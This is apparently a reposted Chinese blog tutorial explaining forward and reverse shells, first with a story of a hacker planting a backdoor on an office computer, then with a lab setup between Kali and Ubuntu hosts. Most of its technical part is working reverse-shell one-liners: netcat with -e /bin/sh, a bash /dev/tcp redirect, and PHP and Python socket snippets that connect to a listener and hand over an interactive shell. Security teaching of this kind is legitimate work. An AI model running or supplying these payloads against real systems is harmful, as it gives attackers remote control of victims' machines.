网站首页 > 开源技术 正文
实际上,很早很早以前就听说过反弹shell,我最早做的网络安全实验就开始反弹shell。比如这个知乎live中的第三个实验TCP会话劫持,就反弹了shell。一年前在与攻防团队的交流会上,再次听到反弹shell,当时也没放在心上,反正挺重要的。直到今天,才算彻底明白反弹shell是咋回事。如果用一句话概述,那么反弹shell就是:
黑客控制了目标,弹一个shell,构建一个稳定的通信后门。
【网络安全】TCP-IP协议攻击 作者 ailx10
- 先弹shell就是正向shell,后连接
- 后弹shell就是反向shell,先监听
正向shell:客户端想要获得服务端的shell
- 假设小黑是一名黑客
- 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
- 于是小黑通过nc将这台电脑的控制权通过23333端口发射出去
- 小黑做了一系列的操作,又悄咪咪的原路返航
- 回到家后,通过nc连上刘看山的电脑
- 后来,刘看山的隐私泄露了~
- (这里小黑是客户端,刘看山是服务端,服务端发射shell)
反向shell:服务端想要获得客户端的shell(也就是反弹shell)
- 假设小黑是一名黑客
- 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
- 小黑发现电脑里有一个有趣的文件(刘看山的秘密)
- 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
- 回到家后,小黑打开这个文件
- 发现电脑被刘看山控制了~
- (这里小黑是客户端,刘看山是服务端,客户端发射shell)
正向shell(服务端送shell)
- 第一步:在kali rolling(服务端)上监听23333端口,并反弹shell
nc -lvp 23333 -e /bin/sh
- 第二步:在ubuntu18(客户端)上连接kali rolling的23333端口
- 这个时候,客户端就拿到服务端的shell控制权了
- 可以随意控制服务端
nc 192.168.160.140 23333
反向shell(客户端送shell)
- 第一步:在ubuntu18上选择增强版的netcat
- 一般ubuntu默认的是free-bsd版本的nc
update-alternatives --config nc
- 第二步:在kali rolling上启动服务端,等待客户端上钩
- 客户端只要吃钩子,服务端就获得了客户端的shell控制权
- 可以随意控制客户端
nc -lvp 23333
- 第三步:在ubuntu18上启动客户端,吃钩子
nc 192.168.160.140 23333 -e /bin/sh
- 我们发现必须客户端和服务端都安装了nc才能实现反弹shell(反向shell)
- 但是如果其中一方没有安装nc怎么办?
bash反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了
- 客户端(ubuntu18上bash反弹shell)
bash -i >& /dev/tcp/192.168.160.140/23333 0>&1
php反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了
- 客户端(ubuntu18上bash反弹shell)
php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'
python反弹shell
- 服务端(kali rolling上监听23333)
- 客户端吃钩子,服务端就成功控制客户端了
- 客户端(ubuntu18上bash反弹shell)
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.160.140",23333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
本篇完~
猜你喜欢
- 2025-05-02 10款鲜为人知的PHP框架(10款鲜为人知的php框架代码)
- 2025-05-02 计算机专业必须掌握的脚本开发语言—shell
- 2025-05-02 shell 基本语法(shell基本语法set)
- 2025-05-02 学习Shell 教程(shell编程学习)
- 2025-05-02 一个有意思的PHP Webshell,利用伪协议执行代码
- 2025-05-02 Linux入门-shell编程-适合小白(linux shell编程是什么)
- 2024-08-25 命令执行底层原理探究-PHP(一)(命令行执行php)
- 2024-08-25 PHP都能够与那些编程语言一起合作干大事,哈哈,你一定没有想全吧
- 2024-08-25 网站渗透总结之Getshell用法大全(网页渗透工具)
- 2024-08-25 命令执行底层原理探究-PHP(三)(执行命令的代码)
你 发表评论:
欢迎- 最近发表
-
- 10款鲜为人知的PHP框架(10款鲜为人知的php框架代码)
- 3分钟搞懂反弹shell(反弹shell的常用命令)
- 计算机专业必须掌握的脚本开发语言—shell
- shell 基本语法(shell基本语法set)
- 学习Shell 教程(shell编程学习)
- 一个有意思的PHP Webshell,利用伪协议执行代码
- Linux入门-shell编程-适合小白(linux shell编程是什么)
- GrayLog开源日志管理平台技术文章合集【共58篇】
- AI大模型 MiniMax 基于 Apache Doris 的日志系统,PB 级秒级查询响应
- 互联网大厂后端必看!手把手教你替换 Spring Boot 中的日志框架
- 标签列表
-
- jdk (81)
- putty (66)
- rufus (78)
- 内网穿透 (89)
- okhttp (70)
- powertoys (74)
- windowsterminal (81)
- netcat (65)
- ghostscript (65)
- veracrypt (65)
- asp.netcore (70)
- wrk (67)
- aspose.words (80)
- itk (80)
- ajaxfileupload.js (66)
- sqlhelper (67)
- express.js (67)
- phpmailer (67)
- xjar (70)
- redisclient (78)
- wakeonlan (66)
- tinygo (85)
- startbbs (72)
- webftp (82)
- vsvim (79)
本文暂时没有评论,来添加一个吧(●'◡'●)